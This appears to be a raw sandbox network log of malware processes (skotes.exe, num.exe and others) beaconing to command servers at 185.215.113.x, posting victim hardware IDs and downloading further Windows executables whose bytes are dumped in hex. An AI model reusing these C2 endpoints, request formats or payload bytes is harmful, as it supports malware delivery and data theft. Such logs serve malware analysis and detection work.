Oct 24, 2024 11:02:52.257370949 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 11:02:52.257481098 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 11:02:52.257494926 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 11:02:52.257507086 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 11:02:52.257540941 CEST	1236	IN	Data Raw: 1b f7 53 53 64 66 47 0f f7 f5 6e b6 47 55 2c 8c 5e 7e c2 68 37 a9 21 ec c5 eb 80 1d bb 01 b5 2a 45 44 ec 5b fd f8 72 a9 d7 ba a5 bf 6f 1c 0a c5 d3 f3 6b e9 50 93 29 04 43 c3 74 55 ab 71 20 a8 3f f3 1e 8b ec 27 14 ad 4a 47 09 f0 24 23 51 53 78 d0 Data Ascii: SSdfGnGU,^~h7!*ED[rokP)CtUq ?'JG$#QSx+qZ&gRa}\&=i$11.W/CA(G2+3%pV=z.u#)/M"0Cj 6k2;k2?k2Ck2Gk2Kk2Ok2Sk2WmC}=PTO$SQPr%V
Oct 24, 2024 11:02:52.257553101 CEST	448	IN	Data Raw: 0b d7 8c 95 cf 51 80 05 4b 5e eb 84 1e ea bf d7 30 a1 0a 14 4f b2 20 3c c0 29 cd 10 68 64 6f 0d 6c f8 13 fe 3c 21 63 47 9e a1 0b 85 79 00 fc 02 87 e2 06 53 cf f2 c9 03 4f 27 39 c8 8b 9d 67 bf 44 65 e2 85 57 35 f6 5a 5b 86 f6 40 80 aa a9 65 c8 24 Data Ascii: QK^0O <)hdol<!cGySO'9gDeW5Z[@e$aE=.D!l$z4;`9q$ISTi#.lu;oYuy9s4TQg*t7HB?q~UC;]Z)]{aU;?od_o"B9.
Oct 24, 2024 11:02:52.257642031 CEST	1236	IN	Data Raw: 36 66 db 3a 39 ba 5d 2b 70 6a c6 2c 79 25 03 c9 b5 51 30 f5 ec 13 c3 6f 34 3c 9f e3 d6 27 f0 80 53 01 de ac 74 c3 c4 50 f3 f4 2f 21 64 56 e1 eb 91 47 21 76 1b ec dd bb eb 45 42 92 c0 30 71 34 c6 ff a9 46 ff 40 f8 39 49 f4 35 7c ed 59 23 79 97 29 Data Ascii: 6f:9]+pj,y%Q0o4<'StP/!dVG!vEB0q4F@9I5\|Y#y)SOaIEIsbNMV?UH!NM?cCgwUCKLF;cHFI,UI;f$uL=FL#,L!#lE`L>I/e&S[188I"
Oct 24, 2024 11:02:52.257653952 CEST	1236	IN	Data Raw: ae 6f 2e 4d 65 22 77 85 4c 85 01 63 6c 69 37 c9 e3 82 f8 bc 3b 2a 6d 5a 17 65 69 c9 4c f1 b2 89 63 c5 97 63 13 f2 ca 09 4a 6f 00 e5 d7 71 d7 85 37 08 23 ff 4b 48 04 a3 77 5e ef 27 7d fd f7 11 18 aa ff c6 10 31 07 1a 6b 65 26 cd 49 89 83 33 1b 29 Data Ascii: o.Me"wLcli7;*mZeiLccJoq7#KHw^'}1ke&I3)c<!ZGX-e7_x#U(.7#p[r)Lu<ECVnL~?BU=D-\}gw[#4Dh$CA;6ETg}EOq#
Oct 24, 2024 11:02:52.257666111 CEST	324	IN	Data Raw: 49 1d 85 33 6c 89 63 1a eb 03 38 39 e3 82 65 43 fb 02 b7 12 73 af 43 57 65 33 c7 85 4c dd 01 28 6b b1 83 87 55 f1 15 76 57 6a ed 1c ff 65 6f 0e 83 19 f8 40 b7 04 d4 0e 3b 89 84 95 80 d6 1f 1a cb 65 26 dd 5b d5 5c 69 5f a9 f8 08 4b 19 6f c4 d5 81 Data Ascii: I3lc89eCsCWe3L(kUvWjeo@;e&[\i_Ko&%q-2Dr)y@/LcHg1#e&`cl~ATyNE7#`x/ILAcHGY#dqi#oVtAiEOpx!'u)4SA@!wCp#
Oct 24, 2024 11:02:52.262842894 CEST	1236	IN	Data Raw: 75 5e e2 42 c3 e5 f7 4c 55 65 17 c1 d5 67 21 51 54 35 f0 6b fc 55 45 28 83 39 f8 6c b7 28 31 12 63 87 07 2f 14 62 f8 b0 3b 1a 6d 51 07 13 f2 90 aa 23 1a 41 4c 01 6d 51 1f 5e 12 91 aa 26 1b d4 df 2b e6 19 98 25 92 42 5b 51 f8 42 af f2 cc 0b bb a1 Data Ascii: u^BLUeg!QT5kUE(9l(1c/b;mQ#ALmQ^&+%B[QB(i%sRD.LcH)!'h/-YOKrLs_g6a}L U.L'lUM[YB]m\"'MD;ES'FL#e+wW1F&[!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49913	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:02:56.146524906 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001159001&unit=246122658369
Oct 24, 2024 11:02:57.364068031 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:02:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Oct 24, 2024 11:02:57.364768028 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:02:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49918	185.215.113.37	80	4016	C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:02:56.481801987 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 11:02:57.394315004 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:57 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:02:57.413881063 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCFBAFBFHJEBGCAEGH Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 2d 2d 0d 0a Data Ascii: ------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="hwid"C211416AD83D981579381------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="build"doma------JDGCFBAFBFHJEBGCAEGH--
Oct 24, 2024 11:02:57.703808069 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:57 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49920	185.215.113.16	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:02:57.373816967 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 11:02:58.285469055 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:02:58 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Thu, 24 Oct 2024 07:59:43 GMT Connection: keep-alive ETag: "6719fe6f-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 67 fe 19 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELgg"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 24, 2024 11:02:58.285509109 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Oct 24, 2024 11:02:58.285521030 CEST	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Oct 24, 2024 11:02:58.285557032 CEST	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Oct 24, 2024 11:02:58.285655975 CEST	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Oct 24, 2024 11:02:58.285667896 CEST	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Oct 24, 2024 11:02:58.285679102 CEST	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Oct 24, 2024 11:02:58.285691023 CEST	884	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Oct 24, 2024 11:02:58.285703897 CEST	1236	IN	Data Raw: 4d d0 e8 4c 3f 00 00 43 8d 45 d0 53 6a 01 50 57 e8 66 40 00 00 83 c4 10 8d 4d d0 e8 4b 9f 00 00 8d 45 f0 50 8d 4d 90 e8 23 00 00 00 3b de 7c cb 8d 4d f0 e8 22 68 00 00 8d 4d c0 e8 2b 9f 00 00 8d 4d 90 e8 40 00 00 00 5f 5e 5b c9 c2 08 00 55 8b ec Data Ascii: ML?CESjPWf@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPM
Oct 24, 2024 11:02:58.285713911 CEST	212	IN	Data Raw: 00 66 00 00 00 e8 4e 74 00 00 8d 4c 24 28 e8 3e 05 00 00 8d 54 24 28 8b ca e8 30 fe ff ff 68 28 cb 49 00 8d 4c 24 2c e8 91 fe ff ff 8d 44 24 28 b9 c8 23 4d 00 50 e8 1b 1c 00 00 8d 4c 24 18 e8 14 74 00 00 8d 4c 24 18 e8 6d 71 00 00 8d 44 24 10 33 Data Ascii: fNtL$(>T$(0h(IL$,D$(#MPL$tL$mqD$3PjVhIhIL$cL$(c_^#M[]UVWMsMU39w +EPOEEPO(
Oct 24, 2024 11:02:58.291085958 CEST	1236	IN	Data Raw: 00 00 8b 77 20 4e 8d 4d ec e8 a4 62 00 00 5f 8b c6 5e c9 c2 04 00 55 8b ec 53 56 8b f1 6a 04 5b 8b 46 0c 39 46 08 75 30 8d 0c 00 6a 08 58 3b c8 73 46 33 c9 89 46 0c f7 e3 57 0f 90 c1 f7 d9 0b c8 51 e8 e7 c7 01 00 83 7e 04 00 8b f8 59 0f 85 ee fc Data Ascii: w NMb_^USVj[F9Fu0jX;sF3FWQ~Y~_SYMVNF^[]MMMSVW3MhXIMfMMMMfh<IMeMrMrM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49957	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:04.097659111 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001160001&unit=246122658369
Oct 24, 2024 11:03:05.006613970 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49963	185.215.113.16	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:05.019220114 CEST	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 11:03:05.927481890 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:03:05 GMT Content-Type: application/octet-stream Content-Length: 314368 Last-Modified: Sun, 29 Sep 2024 08:19:54 GMT Connection: keep-alive ETag: "66f90daa-4cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@&@(<%$.text .rdata@@.data#@.relocE%F@B
Oct 24, 2024 11:03:05.927529097 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 Data Ascii: `AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj(dE
Oct 24, 2024 11:03:05.927542925 CEST	1236	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 eb 92 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 be 3c 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 1d 93 01 00 8d 8d f8 fb ff ff e8 e2 95 01 00 50 Data Ascii: QREPQ<Pd@5jjRAM]UQMM\|MHM<M0}MO]
Oct 24, 2024 11:03:05.927647114 CEST	1236	IN	Data Raw: ff 51 ff 15 9c a8 64 00 85 c0 74 16 68 04 53 42 00 8d 95 cc fe ff ff 52 ff 15 9c a8 64 00 85 c0 75 05 e9 7d 04 00 00 68 1f 0e 42 00 8d 8d 94 fe ff ff e8 98 8d 01 00 83 7d 30 00 0f 84 e6 00 00 00 8d 45 24 50 8d 8d 6c fd ff ff 51 68 fc 54 42 00 8d Data Ascii: QdthSBRdu}hB}0E$PlQhTBxRPQhTTBREPQhSBREPQ}PZlx
Oct 24, 2024 11:03:05.927660942 CEST	1236	IN	Data Raw: 8b 01 00 8d 4d f4 e8 b0 89 01 00 8d 4d e8 e8 a8 89 01 00 8d 4d 08 e8 a0 89 01 00 8d 4d 18 e8 98 89 01 00 8d 4d 24 e8 90 89 01 00 8d 4d 34 e8 d8 f6 ff ff 8b e5 5d c3 cc cc cc cc 55 8b ec 83 ec 18 c7 45 fc 00 00 00 00 eb 09 8b 45 fc 83 c0 01 89 45 Data Ascii: MMMMM$M4]UEEEM;UREk,T(REk,TREk,PMk,DPMk,DPyX
Oct 24, 2024 11:03:05.927673101 CEST	1236	IN	Data Raw: 68 0c 1c 42 00 e8 9d 22 00 00 83 c4 0c a3 c8 a5 64 00 6a 0a 68 18 1c 42 00 68 24 1c 42 00 e8 84 22 00 00 83 c4 0c a3 44 a6 64 00 6a 0c 68 30 1c 42 00 68 40 1c 42 00 e8 6b 22 00 00 83 c4 0c a3 64 a2 64 00 6a 0b 68 50 1c 42 00 68 5c 1c 42 00 e8 52 Data Ascii: hB"djhBh$B"Ddjh0Bh@Bk"ddjhPBh\BR"PdjhhBhpB9"djhxBhB "djhBhB"<djhBhB!djhBhB!HdjhBhB!d
Oct 24, 2024 11:03:05.927685022 CEST	1236	IN	Data Raw: 42 00 68 b8 20 42 00 e8 c7 1d 00 00 83 c4 0c a3 30 a2 64 00 6a 17 68 c0 20 42 00 68 d8 20 42 00 e8 ae 1d 00 00 83 c4 0c a3 8c a5 64 00 6a 12 68 f0 20 42 00 68 04 21 42 00 e8 95 1d 00 00 83 c4 0c a3 c4 a1 64 00 6a 0a 68 18 21 42 00 68 24 21 42 00 Data Ascii: Bh B0djh Bh Bdjh Bh!Bdjh!Bh$!B\|xdjh0!Bh<!BcdjhH!BhT!BJ4djh`!Bhl!B1djhx!Bh!Bdjh!Bh!BLdjh!Bh!B
Oct 24, 2024 11:03:05.927792072 CEST	1236	IN	Data Raw: 00 83 c4 0c a3 0c a2 64 00 6a 09 68 10 27 42 00 68 1c 27 42 00 e8 e5 18 00 00 83 c4 0c a3 20 a2 64 00 6a 0c 68 28 27 42 00 68 38 27 42 00 e8 cc 18 00 00 83 c4 0c a3 a8 a4 64 00 6a 16 68 48 27 42 00 68 60 27 42 00 e8 b3 18 00 00 83 c4 0c a3 60 a2 Data Ascii: djh'Bh'B djh('Bh8'BdjhH'Bh`'B`djhx'Bh'Bdjh'Bh'Bdjh'Bh'Bhdjh'Bh'BOdjh'Bh(B6djh((Bh@(BtdjhX(Bht
Oct 24, 2024 11:03:05.927803993 CEST	1236	IN	Data Raw: 68 38 2e 42 00 68 4c 2e 42 00 e8 1c 14 00 00 83 c4 0c a3 6c a4 64 00 6a 10 68 60 2e 42 00 68 74 2e 42 00 e8 03 14 00 00 83 c4 0c a3 90 a4 64 00 6a 11 68 88 2e 42 00 68 9c 2e 42 00 e8 ea 13 00 00 83 c4 0c a3 a4 a5 64 00 6a 08 68 b0 2e 42 00 68 bc Data Ascii: h8.BhL.Bldjh`.Bht.Bdjh.Bh.Bdjh.Bh.Bdjh.Bh.B\djh.Bh.B@djh.Bh/BDdjh/Bh(/BmXdjh@/BhP/BTdjh`/Bht/B;
Oct 24, 2024 11:03:05.927814960 CEST	1236	IN	Data Raw: 53 0f 00 00 83 c4 0c a3 f8 a1 64 00 6a 06 68 00 36 42 00 68 08 36 42 00 e8 3a 0f 00 00 83 c4 0c a3 6c a2 64 00 6a 07 68 10 36 42 00 68 18 36 42 00 e8 21 0f 00 00 83 c4 0c a3 cc a2 64 00 6a 06 68 20 36 42 00 68 28 36 42 00 e8 08 0f 00 00 83 c4 0c Data Ascii: Sdjh6Bh6B:ldjh6Bh6B!djh 6Bh(6Bdjh06Bh86Bdjh@6BhH6BdjhP6Bh\6Btdjhh6Bht6Bdjh6Bh6B djh6Bh6Br<djh6B
Oct 24, 2024 11:03:05.933001995 CEST	1120	IN	Data Raw: 00 6a 0f 68 08 3d 42 00 68 18 3d 42 00 e8 71 0a 00 00 83 c4 0c a3 80 a1 64 00 6a 09 68 28 3d 42 00 68 34 3d 42 00 e8 58 0a 00 00 83 c4 0c a3 9c a0 64 00 6a 07 68 40 3d 42 00 68 48 3d 42 00 e8 3f 0a 00 00 83 c4 0c a3 54 a3 64 00 6a 11 68 50 3d 42 Data Ascii: jh=Bh=Bqdjh(=Bh4=BXdjh@=BhH=B?TdjhP=Bhd=B&8djhx=Bh=Bdjh=Bh=Bdjh=Bh=BHdjh=Bh=Bdjh=Bh>BPdjh>Bh(>B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49985	185.215.113.37	80	5712	C:\Users\user\AppData\Local\Temp\1001161001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:03:08.839073896 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 11:03:09.754441977 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:03:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:03:09.819756031 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFB Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 2d 2d 0d 0a Data Ascii: ------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="hwid"C211416AD83D981579381------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; 